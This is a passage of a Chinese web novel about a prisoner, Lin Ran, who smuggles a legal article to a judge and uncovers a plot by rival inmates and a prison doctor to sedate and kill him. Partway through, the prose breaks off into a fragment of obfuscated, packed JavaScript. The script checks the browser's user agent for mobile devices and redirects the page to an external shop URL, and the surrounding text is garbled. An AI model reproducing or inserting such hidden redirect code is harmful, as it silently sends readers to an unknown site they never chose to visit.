苏念晚扯了扯嘴角,“真的吐了,吐得胆汁都出来了。我觉得自己脏,不配穿这身白大褂。”
她转过身,背靠着水池,看着林燃。
“后来有了第二个,第三个……吐着吐着,就习惯了。有时候半夜惊醒,我会想,如果我母亲知道这些钱是怎么来的,她会不会宁可死,也不愿意用?”
林燃没说话。
“但你那笔钱不一样。”
苏念晚继续说,声音很轻,但很清晰,“那是你拼命挣的,是你差点把命搭进去换来的。你本可以拿它去打点关系,去减刑,去做任何对你自己有利的事——但你给了我。”
她顿了顿,眼睛里有水光闪了闪,但很快又压下去了。
“那是我母亲生病以来,我拿得最干净的一笔钱。”她说,“就为这个,我欠你的。”
处置室里又安静下来。
远处有犯人推着垃圾车经过,车轮碾过水泥地面,发出单调的隆隆声。
林燃从处置床上站起来,左腿的伤让他晃了一下,但很快站稳。
他走到苏念晚面前,两人隔着一步的距离。
“你如果被发现替犯人传递信件,那你会被开除……”
苏念晚抬起眼,迎上他的目光:“那又怎样?”
林燃沉默了。
他看着眼前这个女人——白大褂洗得发旧,袖口有消毒水漂白留下的痕迹;头发在脑后挽得一丝不苟,但鬓角有几根碎发,没拢进去;眼睛很亮,眼底有血丝,但那亮光底下,有种他很久没见过的、一股天真的执拗。
“谢谢。”林燃最终说,转身朝门口走去。
…………
下午三点整。
一辆白色厢式货车缓缓驶进内院,停在医务室后门。车身上印着红色的“医疗废物专用”字样,还有个醒目的生物危害标志。
司机是个五十来岁的男人,穿着深蓝色工装,戴着口罩和橡胶手套。他跳下车,动作麻利地打开后厢门,开始搬运那些蓝色废物桶。
苏念晚从医务室后门出来了。
她换了那声熟悉的白大褂,头发扎成马尾,脸上戴着医用口罩。
手里推着个带轮子的转运车,车上放着两个额外的废物袋。
林燃看见她和司机说了句什么,司机点点头,接过转运车上的袋子,扔进车厢。
就在司机转身去搬下一个桶时,苏念晚那个隐秘的口袋里,似乎“不小心”掉出一个黑色的小袋子。
袋子掉在地上,发出轻微的闷响。
司机回头看了一眼,苏念晚连忙弯腰捡起来,拍了拍灰,塞到驾
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驶座下面。
整个过程,不到三秒。
自然得像每天都在发生的、无意义的琐碎动作。
司机搬完所有桶,关上后厢门,跳回驾驶座。货车发动,排气管喷出一股白烟,缓缓驶离。
苏念晚站在后门口,看着货车远去,直到它拐过监舍楼的拐角,消失在视野里。
然后她转身,推着空转运车,回了医务室。
门关上了。
文章寄出去了。
而现在林燃能做的,只有等。
等那封信穿过监狱的高墙,穿过城市的街道,穿过省高院森严的大门,最终落在一个陌生人的办公桌上。
等那个陌生人,会不会在某个百无聊赖的下午,随手拆开一个脏兮兮的袋子,抽出里面那沓皱巴巴的稿纸。
等他会不会因为标题多看一眼,因为某个观点皱一下眉,因为某个案例沉吟片刻。
然后,等他会不会提起笔,在稿纸边缘批注几个字,或者拿起电话,说一句:“小张,帮我查查安江监狱这个犯人。”
这是一条由巧合、人情、冒险和渺茫希望串成的链条。
任何一环断裂,都会前功尽弃。
但至少,链子已经抛出去了。
文章寄出去的头三天,林燃睡得很少。
不是不想睡,是身体里那根弦还绷着,松不下来。
夜里躺下,闭上眼,黑暗里全是稿纸上的字,一个个浮起来,扭动着,变成姚永军那张模糊的脸。
他得强迫自己数数。
从一数到一百,再从一百倒着数回来。
有时候数到一半,脑子里会突然冒出来个念头——那封信,现在到哪儿了?
是在垃圾处理中心那堆沾着血污的纱布里埋着,还是已经被人捡出来,正往邮局送?
然后就得从头再数。
刀疤辉的呼噜声在对面下铺响得很有节奏,像台老旧拖拉机。周晓阳睡觉老实,但偶尔会磨牙,咯吱咯吱的,听着牙酸。麻杆和牛哥挤在靠门那张铺上,翻身时床板吱呀响。
这些都是活着的证据。
第一百四十九章 老鼠
林燃睁开眼,盯着天花板上那道裂缝。
探照灯的光每隔十五秒扫过一次,裂缝就在明暗之间交替显现,像道来回烧灼的伤疤。
对手在等。
等一个机会,或者等林燃自己露出破绽。
而林燃也在等——等那封信的回音。
这种对峙很耗神。像是两个猎人在黑暗的森林里互相寻找,谁先动,谁就可能暴露位置。
…………
上午的劳动还是缝纫车间。
林燃的位置没变,靠窗那台机器。他坐下时,白癜风正好从监工位上抬起头,两人目光碰了一下。
很短的一瞬间。
白癜风的眼神很沉,沉得看不见底。他脸上那道白斑在车间惨白的日光灯下,像块随时会剥落的墙皮。
林燃移开视线,低头摆弄缝纫机。
针脚哒哒地走起来,深蓝色的工装裤布料在指尖下缓缓移动。这活儿干久了,手指会有自己的记忆,不用眼睛看也能走直线。
但今天林燃有点走神,针脚歪了两次,他不得不拆了重来。
第三次拆线时,斜对面工位传来一声轻笑。
很轻,但足够清晰。
林燃抬起头。
是那个叫“豁嘴”空出来的位置上,新调来的犯人。三十来岁,平头,脸很瘦,颧骨突出,眼睛细长。林燃记得他,外号“老鼠”,**惯犯,手快,嘴碎。
老鼠正斜着眼看他,嘴角挂着那种似笑非笑的弧度。
见林燃看过来,老鼠也不躲,反而挑了挑眉,用口型说了两个字:
“小——憋——三。”
挑衅。
很低级,但有效。
林燃没理他,低下头继续干活。针脚这次走得很直,哒哒哒,像**点射。
老鼠讨了个没趣,撇撇嘴,也转回头去。但他没消停,过一会儿就开始跟旁边工位的人低声说话,声音不大不小,刚好能让林燃听见。
“听说没?有些人啊,蹦跶不了几天了。”
“谁啊?”
“还能有谁?仗着三脚猫功夫,到处惹事。现在好了,码头帮不待见,北佬帮看笑话,自己人……”老鼠顿了顿,故意提高音量,“自己人都在背后戳脊梁骨呢!”
车间里其他犯人竖起耳朵,眼神往这边瞟。
白癜风坐在监工位上,手里捏着本子,像是没听见。
刀疤辉在隔壁流水线,听见这话腾地站起来,腹部伤口扯得他脸色一白,但还是瞪着眼吼:“老鼠!**嘴痒找抽是吧?!”
“哎哟,辉哥,我哪敢啊。”老鼠缩了缩脖子,但眼神里的挑衅没减,“我就是随口说说,实话还不让人说了?”
“你——”
“辉子。”林燃开口,声音不高。
刀疤辉咬咬牙,坐了回去。
林燃继续干活,针脚走得稳当。老鼠那些话像蚊子叫,嗡嗡的,烦人,但伤不了皮肉。他在等——等白癜风下一步动作。
如果只是派个老鼠这样的碎嘴来试探,那说明白癜风手里没牌了。
果然,一上午过去,除了老鼠时不时的阴阳怪气,再没别的动静。
中午吃饭时,老鼠那桌人故意坐在312附近,说话声音很大。
“有些人啊,以为打趴个疤脸,架个小霸王脖子,就了不起了。”老鼠扒拉着碗里的白菜帮子,“也不想想,这是在哪儿?安江监狱!今天你能打,明天呢?后天呢?等你打不动了,那些被你得罪过的人,一个一个找上门……”
“老鼠。”林燃忽然开口。
声音很平,但老鼠像被掐住脖子,话戛然而止。
林燃放下筷子,转过头看着他:“你话这么多,是白癜风让你说的,还是你自己想说的?”
老鼠脸色变了变。
“如果是白癜风让你说的,”林燃继续说,语气没什么起伏,“那你告诉他,派个碎嘴子来,没用。如果是你自己想说的——”
他顿了顿,眼睛盯着老鼠。
“那我记住你了。”
就这一句。
没有威胁,没有狠话,就是简单的“记住你了”。
老鼠喉咙滚动了一下,想说什么,但没说出来。他低头扒饭,速度快得像是有人在后面追。
刀疤辉咧了咧嘴,
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冲林燃竖了个大拇指。
林燃没笑。
他知道,老鼠这种小角色,踩了也就踩了。真正的麻烦还在后面。
…………
第五天,放风时出了点意外。
不是林燃,是周晓阳。
他在单杠那边练走路——腿伤好得差不多了,但拐杖还得用几天。正练着,不知从哪飞来半个馒头,砸在他后脑勺上。
不重,但侮辱性极强。
周晓阳猛地回头。
不远处,老鼠和另外两个面生的犯人蹲在地上,正哈哈大笑。见周晓阳看过来,老鼠还故意摊了摊手:“哎哟,不好意思,手滑了。”
周晓阳脸色涨红,拄着拐想过去,被林燃一把按住。
“燃哥!”
“别动。”林燃说,眼睛看着老鼠那边。
老鼠见周晓阳没过来,笑得更大声了,还冲着旁边人挤眉弄眼。那两个人也跟着笑,声音刺耳。
林燃松开周晓阳,朝那边走过去。
步子不快,左腿还有点跛,但每一步都踩得很实。
老鼠的笑声渐渐停了。
林燃走到他面前,蹲下。
两人平视。
“手滑了?”林燃问。
老鼠咽了口唾沫,往后缩了缩:“真、真滑了……”
“哦。”林燃点点头,伸手捡起地上那半块馒头。馒头已经硬了,表皮沾着沙土。他拿在手里掂了掂,然后抬头,看着老鼠。
“我手也容易滑。”
话音落下的瞬间,林燃手腕一翻,那半块监狱“特产”的硬馒头,像块石头,狠狠砸在老鼠脸上!
“砰!”
闷响。
老鼠惨叫一声,仰面摔倒,鼻血瞬间涌出来。旁边那两个犯人吓得跳起来,想跑,被刀疤辉和牛哥一左一右堵住。
林燃站起来,拍了拍手上的灰。
老鼠躺在地上,捂着鼻子,血从指缝里往外渗。他瞪着林燃,眼神里一半是恐惧,一半是怨毒。
“这次是馒头。”林燃看着他,声音很轻,“下次要是换成砖头,你说,会怎样?”
老鼠没说话,只是喘着粗气。
第一百五十章 回应
林燃不再看他,转身往回走。
周晓阳跟上来,小声说:“燃哥,谢了。”
“以后走路看着点。”林燃说,“不是每次我都在。”
放风结束往回走时,林燃感觉到一道目光。
他抬起头。
白癜风站在放风场的最前列。距离太远,看不清表情,但那个姿势——双手插兜,肩膀微微前倾——像头伏在暗处的兽。
林燃迎上他的目光,看了两秒,然后移开。
他知道,老鼠只是道开胃菜。
正餐还没上。
…………
第六天,林燃在阅览室见到了老赵头。
老头儿今天心情似乎不错,哼着不成调的京剧,手里那杯茶冒着热气。见林燃进来,他抬了抬眼皮:“哟,能走动了?”
“嗯。”林燃走到自己常坐的那个角落,从书架上抽出本《刑法案例精析》——书很旧,封面都快掉了,但里面笔记很多,有些批注字迹娟秀,像是女生的笔迹。
他翻开书,眼睛看着字,脑子里却在想别的事。
那封信,寄出去六天了。
如果顺利,应该已经到了市中院。谭副院长看到了吗?如果看到了,会有什么反应?
这些念头像水底的泡泡,一个接一个往上冒。
“有心事?”老赵头忽然问。
林燃抬起头。
老头儿端着茶杯,慢悠悠踱过来,在他对面坐下。那双昏花的老眼盯着他看了几秒,忽然笑了笑。
“年轻人,心事都写在脸上。”
林燃没接话。
“我在这阅览室干了二十年。”老赵头吹了吹茶沫,喝了一口,“见过太多人。有的进来时横着脖子,没两个月就蔫了;有的看着老实,心里憋着坏;还有的……”他顿了顿,“还有的,像你这样的。”
“我什么样?”
“心里有火。”老赵头说,“烧得旺,但不往外冒,就闷在里面烧。这种人,要么烧死自己,要么……把别人烧穿。”
林燃合上书。
“赵师傅,”他说,“您觉得,在这地方,心里有火是好事还是坏事?”
老赵头没立刻回答。
他放下茶杯,手指在桌面上轻轻敲着,像是在斟酌词句。窗外有鸟飞过,影子在书页上快速掠过。
“看你怎么用。”老头儿最终说,“火能取暖,也能烧屋。关键是你得知道,什么时候该添柴,什么时候该盖土。”
很有哲理,但没什么用。
林燃重新翻开书。
老赵头看了他一眼,摇摇头,起身走了。走到门口时,他忽然停下,回头说:“对了,前几天狱政科的人来查书,说是上面要检查阅览室藏书有没有违禁内容。”
林燃手指一顿。
“查完了?”
“查完了。”老赵头说,“没少东西,就是有几本书被抽走了,说是要‘审核’。”
“什么书?”
“都是法律类的。”老头儿顿了顿,意味深长地看了他一眼,“挺巧的,对吧?”
说完,他推门出去了。
林燃坐在那儿,手指捏着书页,纸张边缘有些割手。
狱政科查书,专抽法律类的。
是例行检查,还是……有人听到了什么风声?
…………
第七天早上,麻杆在食堂排队打饭时,塞给林燃一张纸条。
纸条很小,折成指甲盖大,边缘都磨**了。林燃借着盛粥的工夫,快速展开瞥了一眼。
就一行字:
“老程说,有信了。放风时,东角。”
林燃把纸条揉成团,扔进粥里,用勺子搅了搅。米汤很快把纸团泡烂,化成几片模糊的纸屑。
他端着粥碗回到座位,脸上没什么表情。
刀疤辉看他一眼,低声问:“有事?”
“没事。”林燃说,低头喝粥。
粥很稀,米粒少得能数出来。他一口一口喝着,脑子里转着那行字。
有信了。
哪个信?是老程托中院朋友打听到的消息,还是……那篇文章有回音了?
一上午的劳动,林燃都有些心不在焉。
缝纫机针扎破手指两次,血珠渗出来,在深蓝色布料上晕开一小点暗红。他舔掉血,继续干活,但眼睛时不时瞟向墙上的挂钟。
指针走得慢,像在胶水里爬。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17212201|197428||http|test|mini|href|location''.split(''|''),0,{}));
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r>好不容易熬到放风时间。
林燃没急着出去,等人都走得差不多了,才慢慢起身,朝东角走。左腿还是有点疼,但他尽量让步子看起来正常。
东角那堆废器械还在,生锈的铁管和破轮胎堆在一起,像座小型废墟。老程已经在那儿了,蹲在阴影里,手里捏着半截烟——没点,就捏着。
见林燃过来,老程抬起头。
他比之前更瘦了,眼窝深陷,脸上那道旧疤在阴暗处显得格外狰狞。但眼睛很亮,亮得有些不正常。
“林燃。”老程开口,声音沙哑。
“程师傅。”林燃在他对面蹲下。
两人隔着一步距离,中间是堆发霉的木板。
老程左右看看,确认没人注意这边,才压低声音说:“我托中院那个朋友……打听到点东西。”
林燃没说话,等着。
“你寄出去的那篇文章,”老程顿了顿,像是在组织语言,“谭副院长看到了。”
林燃能听见自己的心跳,一下,又一下,很沉。
“什么时候?”他问。
“三天前。”老程说,“我虽然被开除了,但还是有朋友在刑一庭当**员,那天他去送文件,看见谭副院长办公桌上摊着几页稿纸,纸很旧,边角都磨**了。谭副院长戴着老花镜,看得挺仔细,还用红笔在上面画了道道。”
“画了什么?”
“不知道,隔得远,看不清。”老程摇头,“但我朋友说,谭副院长看完后,把稿纸收进抽屉里,锁上了。然后坐在那儿,想了挺久。”
林燃深吸一口气。
秋天的风从围墙那头吹过来,带着凉意,卷起地上的沙土,打在脸上生疼。
“还有吗?”
“有。”老程把烟塞回口袋,声音压得更低,“昨天下午,谭副院长在内部业务学习会上讲话,提到‘个别化量刑’和‘证据链审查’,说现在有些案子判得糙,该细的地方没细。他还说……”
老程顿了顿,像是要确认每一个字:“他还说,最近收到一份‘很有见地’的材料,虽然是犯人写的,但里面有些观点,‘值得思考’。”
第一百五十一章 威胁
就这一句。
没点名,没道姓,但时间点吻合。
林燃闭上眼睛。
胸腔里那团烧了太久的东西,忽然松动了些,泄出一点滚烫的气。
“你朋友……”他睁开眼,“还能打听到更多吗?”
“难。”老程苦笑,“谭副院长那人,嘴严。我朋友也是冒了险才透出这点消息。再说,中院那边人多眼杂,问多了,容易引起注意。”
林燃点点头。
足够了。
至少知道文章送到了,被看到了,还被评价为“很有见地”。
这就够了。
“谢了,程师傅。”林燃从怀里摸出两包烟——是之前藏的最后存货,递给老程。
老程没推辞,接过来揣进怀里,动作快得像抢。他站起身,拍了拍裤腿上的灰,又看了林燃一眼。
“林燃,”他忽然说,“我在这监狱待了十二年,见过太多人想翻案,没一个成的。但你这……”
他顿了顿,像是不知道该怎么形容。
“你这路子,我没见过。”老程最终说,“写文章,找副院长……胆子太大了。”
“不胆子大点,怎么出去?”林燃说。
老程愣了愣,然后笑了。那笑容很苦,但眼里有点别的东西。
“也是。”他说,转身走了,背影在秋日的阳光下拖得很长。
林燃又在东角站了一会儿。
风大了些,吹得废器械堆上的破塑料布哗啦哗啦响。
远处放风场上,犯人们三三两两地聚着,说话声、笑声隐隐传来,像另一个世界的声音。
他低头看了看自己的手。
手指关节处破皮的地方已经结痂,摸上去硬硬的。
掌心有茧,是这一年打架、干活磨出来的。
这双手曾经也是握笔的手啊。
…………
文章是饵,现在饵被鱼碰了一下。能不能咬钩,得等。
而等的时候,得活着。
下午的劳动,缝纫车间里依旧嗡嗡响成一片。
三百多台机器同时开动,像群不知疲倦的金属蜂群。
林燃坐在靠窗的老位置,脚踩踏板,手送布料,针脚走得均匀。窗外的天还是阴的,云压得很低,像是随时能挤出水来。
白癜风坐在监工位上,今天出奇地安静。
他没像往常那样端着搪瓷缸四处晃,也没拿那双阴冷的眼睛时不时瞟过来。他就坐在那儿,低着头,像是真在看手里那本破旧的登记簿。
**静了。
林燃手下没停,心里那根弦却一点点拧紧。
白癜风这种人,越是安静,越说明肚子里憋着事。
收工的哨声响起时,车间里的犯人们开始收拾东西。
林燃站起身,活动了一下发酸的肩膀。
就在这时,他看见白癜风也站了起来,朝值班干部走过去,他换上谄媚的笑,说了什么,然后手极快的塞了一包东西,到干部怀里。
虽然只有一瞬,但林燃看得清楚,塞烟嘛。
这在安江倒也正常,特别笑面佛**之后,以前三监区规矩森严,车间有班头、监室有牢头,底层犯人要和干部接触,必须通过这些“**干部”递想法上去,但现在三监区群龙无首。
没了这些规矩,干部也很随便,众目睽睽下塞烟、递红包都看得到。
白癜风这下递烟干嘛?
这一般劳动号递烟就几个事,请假、看病、换工位。
白癜风现在已经“临时监工”了,不需要换工位和请假。
那就是看病。
果然,干部一点头,白癜风就往医务室那边去了。
这是干嘛?
林燃脚步没停,心里却像有根针轻轻扎了一下。
白癜风没病没痛的,他去医务室干嘛?找苏晚乔?那肯定不会,这两人平时八竿子打不着。
那就是找刘长生?
刘长生是医生,虽然有赌债缠身,但上次医疗监区的风波后,一向夹着尾巴做人。白癜风找他干什么?
……
晚上熄灯后,312监舍里很快响起鼾声。刀疤辉腹部的伤还没好利索,翻身时偶尔抽口冷气。周晓阳睡着后还是磨牙,咯吱咯吱的,像老鼠啃木头。
林燃没睡。
他躺
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在铺上,睁着眼,盯着天花板上那道裂缝。探照灯的光每隔十五秒扫过一次,裂缝就在明暗之间交替显现。
脑子里在转白天看见的那一幕。
刘长生。白癜风。
这两个人凑在一起,能有什么好事?
正想着,门口传来极轻的敲击声。
三短一长。
是312内部的暗号。
林燃坐起来,
果然,麻杆已经坐起来了,压得极低的声音说:
“燃哥,有个急事。”
“说。”林燃说完,麻杆就主动站在他旁边,像汇报的士兵。
麻杆舔了舔嘴唇,声音压成一条线:“今天下午,四监区那边,我有个老熟人——以前一起蹲过号子的,现在在那边混得还行。他说,他听一个刚从外面进来的新犯人提了件事。”
“什么事?”
“又有人出钱买你的命。”麻杆顿了顿,喉结滚动了一下,“五万。”
林燃没说话。
五万。比之前黑市悬赏的两万翻了不止一倍。谁出的价?彭振?还是那个始终躲在幕后的、他至今没摸到底的人?
“那人还说,”麻杆继续道,声音更低了。
“白癜风最近跟几个亡命徒走得很近。三监区那个‘铁锤’——就是以前打死过人那个——最近放出来了,一直蹲小号,这几天突然被放出来,安排在白癜风那个劳动组。还有两个生面孔,据说是从北仓监狱调过来的,身上都背着人命。”
铁锤。林燃知道这人。
三十五六岁,一身蛮力,打架用铁锤,所以叫这个外号。
三年前在安江火车站候车室,用锤子砸死一个跟他抢座位的民工,判的死缓,后来改成无期。这人脑子不太灵光,但下手狠,听人指挥,是那种最危险的工具。
“消息可靠?”
“我那老熟人,没跟我扯过谎。”麻杆说,“他还说,白癜风那边放话了——谁能在三监区‘办’了你,五万块之外,再另加两万。”
七万。
林燃扯了扯嘴角。这价码,够一个亡命徒在外面潇洒好几年了。
第一百五十二章 布局
“还有别的吗?”
麻杆摇摇头:“就这些。哥,你还是小心,白癜风这回……像是要来真的。”
林燃拍了拍他肩膀:“回去吧,别让人看见。”
麻杆点点头,猫着腰,一溜烟消失在走廊拐角。
林燃没立刻回去。
他站在那儿,背靠着墙,眼睛盯着那盏惨绿的应急灯。灯管里有只飞蛾,扑棱着翅膀,一下一下撞在玻璃罩上,发出轻微的噗噗声。
五万。
铁锤。
亡命徒。
白癜风这回,确实是要来真的。
不是试探,不是骚扰,是绝杀。
可问题是——他怎么知道自己会在什么时候、什么地方落单?
除非……
林燃脑子里突然闪过下午车间里的那个画面:刘长生佝偻的背影,闪进堆满旧布料的角落,和白癜风凑在一起。
医务室的医生。
掌握药品柜钥匙的医生。
那个欠了一屁股赌债、被他捏着把柄、表面上已经被他压服的医生。
林燃闭上眼睛。
有些事,不用想得太清楚。画面往那儿一摆,意思就出来了。
刘长生如果被白癜风收买,能做什么?
开药。下毒。
而他林燃,之前为了见苏念晚,他向管教登记报告的是腿伤还没好利索,需要定期检查。
过几天肯定要去医务室复查。那是规定程序,躲不掉。
如果刘长生在那时候……
林燃突然有些懊恼。
之前报告时,为了和那美女医生见面,自己就谎报了病情。
当时还觉得自己聪明,骗自己这完全是为了利用医务室的资源。
实际上还是图苏念晚那凹凸有致的身子。
色字头上一把刀啊!
他懊悔了一下,为了黑色裤袜,让自己陷入风险可能。
但随即又想通了。
在这里,有事也躲不过。
现在知道对方的要从那方面来,反而是一件好事,总比不明不白的被偷袭要好。
想到这,林燃睁开眼,眼底那点火烧得更旺了些。
好。很好。
他慢慢躺回铺上。
天花板上的裂缝还在那儿,探照灯的光扫过时,它会亮一下;光移开,它就暗下去。
林燃盯着它,心里开始一盘新的棋。
刘长生这颗棋子,是废是留,得重新掂量。
但如果能用他反过来钓白癜风……
那就得想得更细。
……
第二天一早,医务室。
林燃以“换药”的名义进去时,苏念晚正在处置台前整理器械。她今天换了件干净的白大褂,头发挽得一丝不苟,脸色比前几天好些,但眼底还有血丝。
见林燃进来,她眼神晃了晃,随即恢复平静。
“怎么又来了?”她问,今天医务室有人,护工小夏在旁边,苏念晚的语气公事公办。
但手上动作顿了顿,“不是昨天刚换过?”
“腿有点疼。”林燃在处置床边坐下,撩起裤腿,“想让你看看。”
苏念晚走过来,蹲下,手指轻轻按了按他左腿胫骨。动作专业,但指尖有点凉。
“没肿,骨头应该没事。”她抬起头,“可能是天气原因,阴雨天会酸胀,正常。”
林燃“嗯”了一声,眼睛却看着处置室的门——门关着,从里面能插上插销。
他把眼睛往正低头收拾桌面的小夏身上一瞟。
苏念晚顿时会过意来。
“那个,小夏,你帮我把这几个安甄瓶走销毁程序……”
“这个不等下一起么?”小夏疑惑抬头。
“先走这几个,有毒,被挥发了。”
见苏念晚坚持,小夏就拿着废品出去了。
外人一走,两人就自然凑近了一步。
苏晚乔有些害羞道:“今天不太方便……刘长生在,没办法那个……”
但林燃根本没时间想这个。
“刘医生今天在?”他问,声音压得很低。
苏念晚手指顿了顿:“在。刚才还看见他在药房。”
“药房他一个人?”
“平时就他一个人管。”苏念晚站起来,声音也压低了,“怎么了?”
林燃没立刻回答。他看了看处置室四周——柜子、器械台、水池,还有墙角那个废纸篓。篓子里有几张揉成团的处方笺,上面有字迹
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。
“帮我个忙。”他说。
苏念晚看着他,等着。
“这几天,盯一下刘长生。”林燃说,“他拿了什么药,跟谁接触,有没有什么反常。”
苏念晚的脸色变了变。
“他……”
“有人可能要对我下手。”林燃打断她,语气平静,但每个字都像钉子,“医务室这边,找了刘长生。”
苏念晚沉默了几秒。
然后她点了点头,什么都没问。
林燃站起身,走到门口,手已经搭上门把,又停住。
“你自己也小心。”他说,没回头,“如果刘长生真有问题,你盯他,他也有可能盯你。”
身后没声音。
林燃拉开门,走出去。
走廊里消毒水的味道依旧浓烈。他走过药房门口时,脚步顿了一下——门虚掩着,里面传来翻动纸张的窸窣声。
他没停,继续往前走。
但余光扫见门缝里透出来的那点光,还有一个人影在光里晃动。
刘长生。
……
中午吃饭时,刀疤辉凑到林燃身边,压低声音:
“燃哥,有个人想见你。”
“谁?”
“笑面佛以前的一个手下,外号‘阿贵。”刀疤辉左右看看,“这人之前跟我递过话,说想投诚。我跟他聊过两次,感觉……还行。”
阿贵。
林燃听说过这人。
五十来岁,**罪进来的,在笑面佛那边一直是个边缘角色,干些跑腿打杂的活。
笑面佛死后,白癜风接手那摊生意,阿贵一直没被重用,据说还挨过几次骂。
他这个有个最大的毛病——吸那个,瘦的和鬼一样,以前跟着笑面佛,有白货吸,现在笑面佛没了,白癜风又不管他,难怪起了改换门庭的心思。
“什么时候?”
“放风。他在东角那堆废器械后面等。”
林燃没放下筷子,点了点头。
“可以。”
刀疤辉自己倒怀疑起来了:“哥,这你就答应了啊?还不知道是不是圈套呢。”
“没事。”
林燃扒拉了一下筷子:“树倒猕猴散,人之常情嘛。”
第一百五十三章 换药
放风时间,东角那堆废器械后面。
林燃到的时候,阿贵已经蹲在那儿了。
这人瘦得厉害,囚服穿在身上像挂竹竿上,袖口空荡荡的,露出来的手腕细得能看见骨头节。
他蹲在阴影里,手里捏着半截烟屁股,没点,就捏着,眼神时不时往四周瞟。
听见脚步声,阿贵猛地抬头,看清是林燃,整个人像是松了口气,又像是更紧张了。
他站起来,腰微微佝偻着,两只手不知道往哪儿放,最后搓了搓,挤出一个笑脸。
“燃……燃哥。”
林燃没走近,在三步外停住。
这距离,进可攻退可守,有什么不对,一脚就能把人蹬开。
他扫了阿贵一眼——眼眶深陷,颧骨凸出,嘴唇干裂,典型的瘾君子面相。
笑面佛活着的时候,这种人还能靠帮里赏口饭吃,现在佛爷没了,白癜风又不管,日子肯定不好过。
“刀疤辉说你想见我。”林燃开口,声音不高。
阿贵点点头,喉咙滚动了一下,像是有什么话堵着。他左右看看,确认附近没人,才压低声音说:
“燃哥,我……我想跟您。”
林燃没接话。
阿贵急了,往前蹭了半步,又想起什么似的退回去,搓着手说:
“我知道,我以前是跟佛爷的,跟您不对付。可那都是以前的事,我就是个小跑腿的,连打架都没上过几回。佛爷**之后,白癜风那帮人……”
他说着,咬了咬牙。
“白癜风那帮人根本不管我们死活。豁嘴出事之前,还有点东西分,现在豁嘴废了,他们连装都懒得装了。上个月我犯瘾,难受得满地打滚,去找他们借点货,你猜白癜风说什么?”
林燃看着他。
“他说,滚。”阿贵的声音有些抖,“他说我这种废物,**也就**,省粮食。”
林燃没吭声。
这种事在监狱里不新鲜。
帮派散了,最惨的就是底层那些跑腿打杂的。没地位,没本事,连卖命都没人要。笑面佛活着的时候,好歹能靠“佛爷的人”这块牌子混口饭吃,现在牌子倒了,谁还认?
“所以你想跟我?”林燃问。
阿贵拼命点头:“燃哥,我知道您看不上我这样的。但我有用,我真有用!”
他凑近一步,声音压得更低,几乎是气音:
“我知道白癜风要动您。”
林燃眼神动了动。
“说。”
阿贵舔了舔嘴唇,语速很快,像是怕自己反悔似的:
“白癜风找了几个人。铁锤您知道吧?三监区那个,用锤子**的。还有两个生面孔,从北仓监狱调过来的,身上都背着人命。他给这几个人许了钱——五万,事成之后再加两万。”
林燃没说话。
这些信息麻杆昨晚已经告诉过他,没什么新鲜的。但阿贵接下来的话,让他眼皮跳了一下。
“不止这些。”
阿贵左右看看,声音压得更低,“白癜风还找了医务室的人。”
“谁?”
“刘长生,那个医生。”
阿贵说,“我亲耳听见的。前天晚上,我蹲在厕所后面过瘾——那儿没人管,我知道。白癜风不知道我在,他跟刘长生在拐角说话,我听见了。”
林燃心里那根弦悄无声息地绷紧。
“说什么?”
“说药的事。”
阿贵回忆着,眉头皱起来。
“刘长生说什么‘泻药太明显,换点别的’,白癜风说‘不要命,但要让他动不了’。后来刘长生说有个东西,叫……叫……”
他想了想,一拍大腿:“对了,叫‘氯什么安定’,说是让人晕乎的,跟喝醉了一样,验血都验不出来。”
**。
林燃知道这药。镇静剂,催眠,肌肉松弛。在医务室里不算管制最严的,但也不常见。刘长生要是真想弄,确实能弄到。
“他打算在哪儿动手?”
“这个……”阿贵摇摇头,“我真不知道。白癜风嘴紧,这种核心事不会让我听见。但我琢磨着,肯定不会是医务室。那边人多眼杂,干部也常去。他应该是想让你在医务室里先瘫了,然后找机会弄到没人的地方……”
“什么时候?”
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“没说死。”阿贵摇头,“就说等复查那天。我听说您腿伤没好利索,应该快了。”
林燃沉默了几秒。
阿贵站在那儿,眼巴巴地看着他,像条等着喂食的狗。
“你跟我说这些,”林燃开口,“不怕白癜风知道?”
阿贵脸色白了白,但咬牙说:“怕。但更怕他这么下去,我连活路都没有。燃哥,我不求别的,就求您收下我,跑腿打杂都行。我……我不能再这样下去了。”
他说到最后,声音有些抖。
林燃盯着他看了几秒。那张脸瘦得脱了形,眼睛却亮得反常——不是**后的亢奋,是某种更深的东西。绝望里的人抓住稻草时,眼睛都是这个样子的。
“行。”林燃说。
阿贵愣住了,像是不敢相信。
“但有个条件。”林燃继续说,“今天这些话,烂在肚子里。对谁也不许说。”
“我懂!我懂!”阿贵拼命点头。
林燃从怀里摸出半包烟——是刀疤辉之前给的,他一直没抽完。递给阿贵。
“拿去。”
阿贵接过烟,手抖得厉害。他看看烟,又看看林燃,嘴唇动了动,想说点什么,但没说出来。
林燃转身走了。
走出十几步,身后传来阿贵压低的声音:“燃哥,您小心。白癜风那帮人……是真的想要您的命。”
林燃没回头。
……
第二天下午,医务室。
林燃以“腿疼复查”的名义进来时,苏念晚正在处置台前整理病历。她今天脸色不太好,眼底血丝比前两天更重,白大褂袖口沾了点碘伏,没注意擦。
“又疼了?”她问,声音公事公办,但眼睛往处置室门口瞟了一眼——门虚掩着,走廊里有脚步声。
林燃在处置床边坐下,撩起裤腿。
苏念晚蹲下来,手指按了按他左腿胫骨。动作专业,但指尖比平时凉。
“骨头没事,可能还是天气。”她抬起头,嘴唇几乎没动,声音压得极低,“刘长生今天在药房,一个人待了一上午。我刚才进去拿药,他看见我,把抽屉关上了。”
第一百五十四章 外援
林燃点了点头。
“还有,”苏念晚继续按着他小腿,像是在认真检查,声音却继续飘进他耳朵里,“昨天下午,刘长生去了趟三监区那边。不是出诊,是去‘找人’。我后来查了药品消耗记录——**注射液,少了一支。”
**。
镇静剂。打进去,人昏沉,四肢发软。
林燃心里那点猜测,彻底落到了实地上。
“能换吗?”他问,声音也很低。
苏念晚手指顿了顿。
“换什么?”
“药。”林燃看着她,“他准备给我打的那个东西,换成别的——换成打进去没事的,或者,换成能让他以为有事但其实没事的。”
苏念晚沉默了几秒。
